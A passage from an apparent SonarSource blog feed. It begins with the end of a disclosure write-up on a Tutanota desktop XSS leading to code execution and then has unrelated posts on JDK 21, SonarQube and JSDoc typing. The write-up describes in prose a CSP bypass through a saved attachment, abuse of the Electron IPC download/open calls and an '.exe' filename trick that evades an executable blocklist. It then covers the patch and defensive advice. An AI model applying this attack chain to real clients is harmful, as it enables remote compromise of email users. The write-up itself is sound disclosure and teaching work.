because Tutanota saves files to a known location that includes the file&amp;#x27;s name. This allows the attacker to include the saved attachment as a script, bypassing the CSP.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the file does not exist when the attacker&amp;#x27;s email is being rendered, the page has to try to include the script continuously. This can be done by including an iframe that includes a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag referencing the file, as well as a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag that reloads the iframe every second. As soon as the file is saved to disk by the Tutanota client, the script is included and run once the iframe reloads again.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At this point, the attacker can read decrypted emails, send emails in the victim&amp;#x27;s name, and potentially even steal cryptographic keys. This is already critical in the context of an end-to-end encrypted email solution, but since the attack targets a desktop client, we wanted to know if attackers could go even further and compromise the whole system.&lt;/p&gt;&lt;h3&gt;Going Further: IPC Calls&lt;/h3&gt;&lt;p&gt;In Electron, the &amp;quot;web world&amp;quot; where the UI runs can be isolated from the &amp;quot;main world&amp;quot;. The main world has access to the Node.js APIs that can directly access the file system and other OS interfaces. This isolation is considered good practice since it adds an additional barrier that lowers the impact of XSS vulnerabilities. Tutanota, showing good security hygiene here, set the right options for this. Context isolation was enabled, node integration was disabled, and so on.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The remaining attack surfaces are the inter-process communication (IPC) calls that can be sent between the UI and the main world. These are needed so that the application can still do things like saving or opening an attachment when the user clicks the respective button.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We mapped all available IPC calls and found two interesting ones: &lt;code&gt;download&lt;/code&gt; and &lt;code&gt;open&lt;/code&gt;. The first one, &lt;code&gt;download&lt;/code&gt;, takes a URL and a path and then downloads the file from that URL to the specified path. The second IPC call, &lt;code&gt;open&lt;/code&gt;, takes a path, and asks the OS to open that file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On Windows, attackers can easily use the combination of the two calls to download and run a malicious executable. However, there is a final security mechanism in place that prevents this. The &lt;code&gt;open&lt;/code&gt; IPC call implements a blocklist that tries to prevent any executable file format from being opened. The blocklist is implemented by checking the file&amp;#x27;s extension:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/tutao/tutanota/blob/253441b9ac096f802157ed33e2633209be07c0db/src/desktop/PathUtils.ts#L46-L92&quot;&gt;src/desktop/PathUtils.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export function looksExecutable(file: string): boolean {
    if (process.platform === &quot;win32&quot;) {
        const ext = path.extname(file).toLowerCase().slice(1)
        return [
            &quot;exe&quot;,
            &quot;bat&quot;,
            // [...]
        ].includes(ext)
    }
    return false
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To get the extension, the application uses the &lt;code&gt;path.extname()&lt;/code&gt; function from Node.js. It takes a path as its argument and returns the extension. If we look at &lt;a href=&quot;https://nodejs.org/api/path.html#pathextnamepath&quot;&gt;the function&amp;#x27;s documentation&lt;/a&gt;, we can see the following:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a6df8c86-fd0b-4d33-8fe4-7d0c014f4e47/tutanota-nodejs-extname-docs.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If there is a file called &lt;code&gt;C:\Temp\.exe&lt;/code&gt;, then &lt;code&gt;path.extname()&lt;/code&gt; will return an empty string. Checking the file extension blocklist of Tutanota, we can observe that the empty string is not blocked. Windows will happily run the same file as an executable, enabling attackers to bypass the blocklist and execute arbitrary code on the victim&amp;#x27;s system using the &lt;code&gt;open&lt;/code&gt; IPC call.&lt;/p&gt;&lt;h3&gt;Putting it all together&lt;/h3&gt;&lt;p&gt;Starting with the sanitizer bypass caused by the parser differential between the browser and the Linkify library, an attacker can inject arbitrary HTML into the DOM of the application. There is no iframe around the injection point, so attacker-controlled CSS styles can affect the application&amp;#x27;s appearance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To bypass the CSP with &lt;code&gt;script-src &amp;#x27;self&amp;#x27;&lt;/code&gt;, the attacker has to control a file on the file system. They do this by attaching their payload to the email and using CSS to force the victim into clicking the attachment&amp;#x27;s download button. Once the attachment is saved, it is included as a script, kicking off the second stage. The second stage will use the available IPC calls to download a malicious executable and run it, bypassing the blocklist in the process.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;Since the code vulnerability we found led to a serious impact, let&amp;#x27;s find out how it was fixed and how you can avoid similar issues in your code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Tutanota team went for a generic approach that can be applied to all similar situations. They moved the sanitizer pass after all the modifications to make sure the final HTML is safe:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private async setSanitizedMailBodyFromMail(mail: Mail, blockExternalContent: boolean): Promise&lt;SanitizeResult&gt; {
    const {htmlSanitizer} = await import(&quot;../../misc/HtmlSanitizer&quot;)
    const urlified = await locator.worker.urlify(this.getMailBody())
    const sanitizeResult = htmlSanitizer.sanitizeFragment(urlified, { /* ... */ })
    // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The maintainers also went for additional hardening measures:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;They introduced a Shadow DOM around the email body to prevent included CSS styles from affecting the UI of the whole application.&lt;/li&gt;&lt;li&gt;They now handle the edge case that led to the executable blocklist bypass.&lt;/li&gt;&lt;li&gt;The application is loaded from a special &lt;code&gt;asset://&lt;/code&gt; protocol that only serves files that are bundled with Tutanota. The CSP directive &lt;code&gt;script-src &amp;#x27;self&amp;#x27;&lt;/code&gt; does therefore not allow scripts that come from &lt;code&gt;file://&lt;/code&gt; URLs.&lt;/li&gt;&lt;li&gt;The file path of downloaded attachments is now randomized, preventing attackers from predicting an attachment&amp;#x27;s path.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid HTML sanitizer bypasses in your code, we have a few recommendations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;If possible, sanitize on the client instead of the server. HTML parsers are complex beasts; using two different ones is like asking for parser differentials.&lt;/li&gt;&lt;li&gt;Use state-of-the-art sanitizers. This can be &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt;, but also the upcoming &lt;a href=&quot;https://wicg.github.io/sanitizer-api/&quot;&gt;Sanitizer API&lt;/a&gt; that will be built into browsers in the future. If you use obscure or outdated sanitizers, they may miss weird quirks and leave you vulnerable.&lt;/li&gt;&lt;li&gt;Never modify data after sanitizing it. This is not specific to HTML but to any data that needs to be sanitized. The more complex the data structure, the more dangerous it becomes to modify it after sanitization.&lt;/li&gt;&lt;li&gt;If possible, don&amp;#x27;t even re-parse HTML after sanitizing it. DOMPurify can be configured to return the sanitized DOM tree instead of a string. If you directly insert this tree into the page&amp;#x27;s DOM, the browser will not mutate its contents, leaving less opportunity for mXSS.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-06-22&lt;/td&gt;&lt;td&gt;We send our detailed report to Tutanota&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-06-23&lt;/td&gt;&lt;td&gt;Tutanota confirms the vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-06-24&lt;/td&gt;&lt;td&gt;Tutanota releases a patch in version &lt;a href=&quot;https://github.com/tutao/tutanota/releases/tag/tutanota-desktop-release-3.98.1&quot;&gt;3.98.1&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-07-28&lt;/td&gt;&lt;td&gt;Tutanota publishes a &lt;a href=&quot;https://tutanota.com/blog/posts/vulnerability-fixed&quot;&gt;transparency blog post about the vulnerability&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we explained how an innocent-looking mistake in the code could significantly impact the security of an application. We showed how we found a Cross-Site Scripting vulnerability in Tutanota, a popular end-to-end encrypted webmail service, and explained how an attacker could have exploited the flaw to execute arbitrary code on a victim&amp;#x27;s system.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also discussed how the flaw was fixed, what additional measures the maintainers took, and how to avoid such problems in your code. Remember to use client-side sanitization with a state-of-the-art sanitizer, and don&amp;#x27;t modify or re-parse HTML after it has been sanitized.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Big kudos to the Tutanota team for handling our report exceptionally well. They fixed the vulnerability in two days, implemented further hardening measures to stop similar vulnerabilities from being exploitable in the future, and disabled affected clients.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;They also released a transparency blog post for their users that covers the relevant details of the vulnerability, explains how the vulnerability was handled, and what they plan to do to improve the security of their product further. This proves that the Tutanota team greatly cares about the security of their users; we would love to see more of this!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This article completes our 3-part series on the security of privacy-oriented webmail services. If you haven&amp;#x27;t read them yet, make sure to check out &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;part 1 about Proton Mail&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk/&quot;&gt;part 2 about Skiff&lt;/a&gt;. Follow us on &lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;Twitter&lt;/a&gt; or &lt;a href=&quot;https://infosec.exchange/@SonarResearch&quot;&gt;Mastodon&lt;/a&gt; for more technical research!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Part 1: &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Code Vulnerabilities Leak Emails in Proton Mail&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Part 2: &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk/&quot;&gt;Code Vulnerabilities Put Skiff Emails at Risk&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/&quot;&gt;Zimbra Email - Stealing Clear-Text Credentials via Memcache injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/horde-webmail-rce-via-email/&quot;&gt;Horde Webmail - Remote Code Execution via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/rainloop-emails-at-risk-due-to-code-flaw/&quot;&gt;RainLoop Webmail - Emails at Risk due to Code Flaw&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[The new JDK LTS is out! Long live JDK 21!]]></title><description><![CDATA[Let's check what the new Java JDK21 LTS brings]]></description><link>https://www.sonarsource.com/blog/the-new-jdk-lts-is-out-long-live-jdk-21</link><guid isPermaLink="false">ef1db502-76e0-5323-959d-1f6461a13441</guid><dc:creator><![CDATA[Jonathan Vila]]></dc:creator><pubDate>Tue, 19 Sep 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The new Long Term Support JDK version was released as GA on September 19th. It’s been 2 years since the previous LTS version, JDK 17, was released.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the current approach for LTS versions, a new one will be released every 2 years, with a 6-month cadence for regular versions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But, at this point, we could be wondering…&lt;/p&gt;&lt;h2&gt;What’s JDK 21 LTS really? &lt;/h2&gt;&lt;p&gt;Well, it’s “a company&amp;#x27;s offer to provide services and guarantees for their certified Java implementation, that may or may not be built from an OpenJDK update fork.” quoting Nicolai Parlog from Oracle. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So we rely on the vendor who is providing the Java binary that we use and its particular definition of LTS. Different vendors have different roadmaps and support ranges. LTS versions are &lt;em&gt;usually&lt;/em&gt; supported for 8 years, for example, Oracle and Azul are committed until 2031. There are alternatives,  for example, Azul has MTS (Medium Term Support) versions.&lt;/p&gt;&lt;h2&gt;And why should I use an JDK 21 LTS?&lt;/h2&gt;&lt;p&gt;During the LTS support term bug fixes and vulnerabilities will be ported to that version. For other JDK versions, this process only lasts 6 months.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, if we use non-LTS versions in production, to be safe we need to update the JDK version every 6 months, running the risk of having deprecated or removed functionalities. LTS is definitely the version to use in production.&lt;/p&gt;&lt;h2&gt;And what does this new JDK 21 LTS version bring?&lt;/h2&gt;&lt;p&gt;Lots of bugs and CVEs are fixed, but also great new production-ready features. I’ll highlight some of them:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/413&quot;&gt;JEP413&lt;/a&gt; - Code snippets in Java API documentation&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/431&quot;&gt;JEP431&lt;/a&gt; - Sequenced Collections&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/440&quot;&gt;JEP440&lt;/a&gt; - Record Patterns&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/441&quot;&gt;JEP441&lt;/a&gt; - Pattern Matching for Switch&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/444&quot;&gt;JEP444&lt;/a&gt; - Virtual Threads&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/451&quot;&gt;JEP451&lt;/a&gt; - Prepare to Disallow the Dynamic Loading of agents&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Code snippets in Java API documentation&lt;/h3&gt;&lt;p&gt;This new feature allows adding code inside the documentation that will be included in the Java Docs, both from inline code or from external files. It accepts markup tags like @highlight or @replace. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;/**
 * The following code shows how to use {@code Optional.isPresent}:
 * {@snippet :
 * if (v.isPresent()) { // @highlight substring=&quot;isPresent&quot;
 *     System.out.println(&quot;v: &quot; + v.get());
 * }
 * }
 * Where v != null
 */&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Output&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6fbc9ab0-113b-43e7-a59b-079a9e725deb/Screenshot%202023-09-18%20at%2012.00.26.png&quot; /&gt;&lt;h3&gt;Sequenced Collections in Java&lt;/h3&gt;&lt;p&gt;Collections in Java have always lacked an ordered approach. But now new interfaces `SequencedCollection, SequencedSet, SequencedMap` are filling this gap by adding consistent methods across the collections: &lt;code&gt;addFirst, addLast, getFirst, getLast, removeFirst, removeLast&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another problem with collections has been trying to get the elements in a reversed order, but with the new &lt;code&gt;reversed&lt;/code&gt; method we have a consistent and effective way of getting them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This has also been retrofitted to current interfaces: &lt;code&gt;List, SortedSet, LinkedHashSet, Deque, SortedMap, and LinkedHashMap&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Before Java 21:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;var first = list.iterator().next(); 
var last = list.get(arrayList.size() - 1);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With the new sequenced collections, we can do the same thing using simpler methods:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;var first = list.getFirst();
var last = list.getLast();&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Record patterns&lt;/h3&gt;&lt;p&gt;We can use a type pattern to test whether a value is an instance of a record class and extract the component values. For example, with a record Point, you can extract the x and y values.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Before Java 21&lt;/p&gt;&lt;pre&gt;&lt;code&gt;record Point(int x, int y) {}

static void printSum(Object obj) {
    if (obj instanceof Point p) {
        int x = p.x();
        int y = p.y();
        System.out.println(x+y);
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With Java 21&lt;/p&gt;&lt;pre&gt;&lt;code&gt;record Point(int x, int y) {}

static void printSum(Object obj) {
  if (obj instanceof Point(int x, int y)) { 
    System.out.println(x+y); 
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Pattern matching for Switch&lt;/h3&gt;&lt;p&gt;The power of pattern matching is expanded to Switch statements to reduce boilerplate code and improve readability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Before JDK 21&lt;/p&gt;&lt;pre&gt;&lt;code&gt;record Point(int x, int y) {}

public void print(Object o) {
  switch (o) {
    case Point p -&gt; System.out.printf(&quot;position: %d/%d%n&quot;, p.x(), p.y());
    case String s -&gt; System.out.printf(&quot;string: %s%n&quot;, s);
    default       -&gt; System.out.printf(&quot;something else: %s%n&quot;, o);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In Java 21, we can write a similar expression with a record pattern as follows:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void print(Object o) {
  switch (o) {
    case Point(int x, int y) -&gt; System.out.printf(&quot;position: %d/%d%n&quot;, x, y);
    case String s            -&gt; System.out.printf(&quot;string: %s%n&quot;, s);
    default                  -&gt; System.out.printf(&quot;something else: %s%n&quot;, o);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Virtual Threads&lt;/h3&gt;&lt;p&gt;This is a great feature for JDK 21. Until now every thread that was created had a direct link with a platform or OS thread. Considering the limited availability of those threads it became hard to handle a high magnitude of concurrency.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Virtual threads are a concept that allows having millions of “threads” mapping several virtual threads to one platform or OS thread. With virtual threads, the blocking calls to I/O will be suspended and the thread will be used for another process, just expecting the call to finish eventually. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Basically, the physical threads are shared among virtual threads, allowing hardware utilization to be close to optimal with a high level of concurrency. As a result, it will allow higher throughput, while the application remains harmonious with the multithreaded design of the Java Platform and its tooling. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;Runnable runnable = () -&gt; System.out.println(&quot;Inside Runnable&quot;); 
Thread.startVirtualThread(runnable);&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Disallow Dynamic loading of Agents&lt;/h3&gt;&lt;p&gt;Agents have been used mainly to allow tools and profiles to instrument classes, and we can find several of them to get observability for the JVM. Basically, agents are components that can alter the code of an application while it is running.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But, it can also be a back door used by agents to alter the normal behavior of an application, without even asking for permission.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In JDK 21, the dynamic loading of agents is allowed but the JVM issues a warning when it occurs.&lt;br/&gt;In order to allow tools to dynamically load agents without showing warnings, the &lt;code&gt;-XX:+EnableDynamicAgentLoading&lt;/code&gt; option must be added on the command line. And this will be the only way in the future to allow Agents.&lt;/p&gt;&lt;h2&gt;JDK 21 LTS Conclusion&lt;/h2&gt;&lt;p&gt;This new JDK 21 will definitely introduce new features that allow the code to be cleaner more secure and efficient, especially considering concurrency. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With code snippets, we can improve the readability of code examples in the Java API definition. Pattern matching in records and switches will improve consistency by using conventions and making the code more identifiable. Sequenced collections will allow us to have clearer and more intentional code with consistent methods across all collections to obtain the first and last elements and an efficient way of reversing the elements. Virtual threads will boost our application&amp;#x27;s asynchronous performance making it more efficient. And finally disallowing dynamic agent loading will make the application more secure making it explicit to load agents.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s important to consider moving to the latest/closest LTS, even if its features don&amp;#x27;t excite you in order to have more stable, secure, and efficient software. Upgrading to the JDK 21 LTS for your production code will lock in support for the next 8 years.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Enhancing Software Development Practices through SonarQube: A Path to Continuous Learning]]></title><description><![CDATA[With SonarQube, organizations can readily deploy workflows integrated directly into their pipelines to build on their teams’ skill sets and create resiliency to new risks. ]]></description><link>https://www.sonarsource.com/blog/enhancing-software-development-practices-through-sonarqube</link><guid isPermaLink="false">39840f24-45e0-5dc4-8637-3aca1a3a87d0</guid><dc:creator><![CDATA[Hannah Zimmerman]]></dc:creator><pubDate>Thu, 14 Sep 2023 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It is a warm sunny weekday and the sounds of hushed murmurs and hello-good mornings drift through an open office space, along with the sweet aroma of fresh coffee. Despite the lazy sun beaming into the floor-to-ceiling windows, and big modern couches boasting their puffy cushions in free spaces, there is an unmistakable tension in the air. Deadlines rapidly approach while meetings seemingly replicate and clutter the calendar. Decaffeinated and defeated, software developers march away on their keyboards, routinely starting, crunching, and committing branches of code to the pipeline, and forgetting them, only to return months later to unravel all the threads and patch in a new feature.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;It is not a foreign concept that developers who are equipped with the latest best practices write more reliable and secure software solutions. Adjacently, it is unmistakable that continuous growth in one’s skill set proves to be a cornerstone of professional development and employment satisfaction. With that in mind, we eagerly focus on building an unparalleled experience by creating SonarQube, a tool to identify issues, security vulnerabilities, and architectural problems &lt;em&gt;as they are being written into the source code&lt;/em&gt;. &lt;/p&gt;&lt;h3&gt;&lt;strong&gt;The Ever-Evolving Landscape of Bugs and Security Vulnerabilities&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;In the world of software development, bugs, and security vulnerabilities are rapidly evolving. New threats emerge abruptly, and software requirements change hastily to meet market demands. This dynamic nature demands developers to inform themselves about the latest best practices.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;According to the National Vulnerability Database (NVD), the number of security vulnerabilities discovered in software applications has been steadily increasing. In 2018, the NVD reported a total of approximately 16,500 vulnerabilities. This number jumped to around 18,300 vulnerabilities in 2019, representing a 10.8% increase in just one year (source: National Vulnerability Database, NIST, 2021).&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Continuous Learning: Key to Employee Retention and Performance&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Research also shows that a strong commitment to continuous learning significantly impacts employee retention and overall performance in the workplace. In a study by the Institute of Electrical and Electronics Engineers (IEEE) in 2021, 78% of software developers surveyed expressed a strong correlation between their job satisfaction and the opportunity for continuous learning and professional growth. This finding underscores the importance of providing developers with opportunities to enhance their skills and knowledge, leading to higher job satisfaction and retention (source: IEEE Global Survey of Developers 2021).&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;Enter &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A tool that supports developers in rectifying real-world code issues, automating tedious workflows, and allowing them to focus on what they do best - write code. Organizations that have implemented SonarQube into their pipeline have noticed enhancements in their teams&amp;#x27; skills and job satisfaction, leading to increased loyalty and reduced turnover rates.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In an ideal world, every developer would employ uniform practices when writing code, but that is usually never the case. Hours are spent deciphering the nuances of the original authors and piecing together the picture of code maintained for years. What is needed is a natural and routine feedback loop, creating a seamless experience between team members. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As software development becomes more complex and dynamic, embracing continuous learning quickly becomes a differentiator for employee performance and satisfaction. With SonarQube, organizations can readily deploy workflows integrated directly into their pipelines to build on their teams’ skill sets and create resiliency to new risks. By investing in developers&amp;#x27; professional growth and staying current with industry trends, organizations are more readily able to position themselves as leaders in the fiercely competitive software landscape. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-10-1-release/&quot;&gt;SonarQube 10.1 release announcement&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;SonarQube LTS Upgrade Checklist&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/level-up-coding-skills/&quot;&gt;Level up your team&amp;#x27;s skills as they code&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Typing your JavaScript without writing TypeScript]]></title><description><![CDATA[TypeScript already understands JavaScript, but you can get more out of it when you add types to your JavaScript with JSDoc or TypeScript declaration files]]></description><link>https://www.sonarsource.com/blog/typing-javascript-without-typescript</link><guid isPermaLink="false">4c220e76-0284-559b-8c0b-24836f0f69f6</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Wed, 13 Sep 2023 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We recently looked at how you can &lt;a href=&quot;https://www.sonarsource.com/blog/benefits-typescript-in-your-javascript/&quot;&gt;get some of the benefits of TypeScript in our JavaScript code base&lt;/a&gt;. If you&amp;#x27;ve been through that process, then TypeScript is already helping to keep some type issues out of your JavaScript. But, because it is acting on JavaScript, TypeScript will not be able to infer as much as it would like to.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The good news is that we can give TypeScript more hints about the types that flow around our JavaScript application without changing the project to TypeScript.&lt;/p&gt;&lt;h3&gt;Adding more types&lt;/h3&gt;&lt;p&gt;One way to do this is by using &lt;a href=&quot;https://jsdoc.app/&quot;&gt;JSDoc&lt;/a&gt;. JSDoc provides a way for you to document your code through comments that are also machine-readable. This was initially built to generate API documentation for your code, but TypeScript has adopted it&lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/jsdoc-supported-types.html&quot;&gt; as a valid way to provide type information in JavaScript files&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;JSDoc&lt;/h4&gt;&lt;p&gt;You can use JSDoc to set the types of variables. In this example, assigning an empty array to the variable &lt;code&gt;names&lt;/code&gt; doesn&amp;#x27;t tell the type system anything, but if we use the JSDoc &lt;a href=&quot;https://jsdoc.app/tags-type.html&quot;&gt;&lt;code&gt;@type&lt;/code&gt;&lt;/a&gt; annotation, then we indicate to TypeScript that this variable should only be an array of strings. As this is documentation, it also tells you and your team what kind of variable this is.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/**
 * @type {Array&lt;string&gt;}
 */
let names = [];&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you later try to assign a value with a different type to &lt;code&gt;names&lt;/code&gt; or try to add an element of the wrong type, TypeScript will complain about it.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4eae6f0a-4f67-4190-9a33-1f6707704007/jsdoc-type.png&quot; /&gt;&lt;p&gt;You can also define complex types with &lt;a href=&quot;https://jsdoc.app/tags-typedef.html&quot;&gt;@typedef&lt;/a&gt;. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;/**
 * @typedef {object} TeamMember
 * @property {string} name - the full name of a team member
 * @property {Array&lt;string&gt;} languages - the programming languages the member knows
 */

/**
 * @type {TeamMember}
 */
const teamMember = {
  name: &quot;Phil Nash&quot;,
  languages: [&quot;JavaScript&quot;, &quot;TypeScript&quot;, &quot;CSS&quot;, &quot;HTML&quot;],
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With JSDoc annotations in place, you can import types from one file into another, meaning you don&amp;#x27;t have to repeat yourself and redefine types in multiple places.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can also type the parameters and the return value of functions:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/**
 * @typedef {import(&quot;./teamMember&quot;).TeamMember} TeamMember
 * @param {Array&lt;TeamMember&gt;} teamMembers - a list of team members
 * @returns {Array&lt;string&gt;}
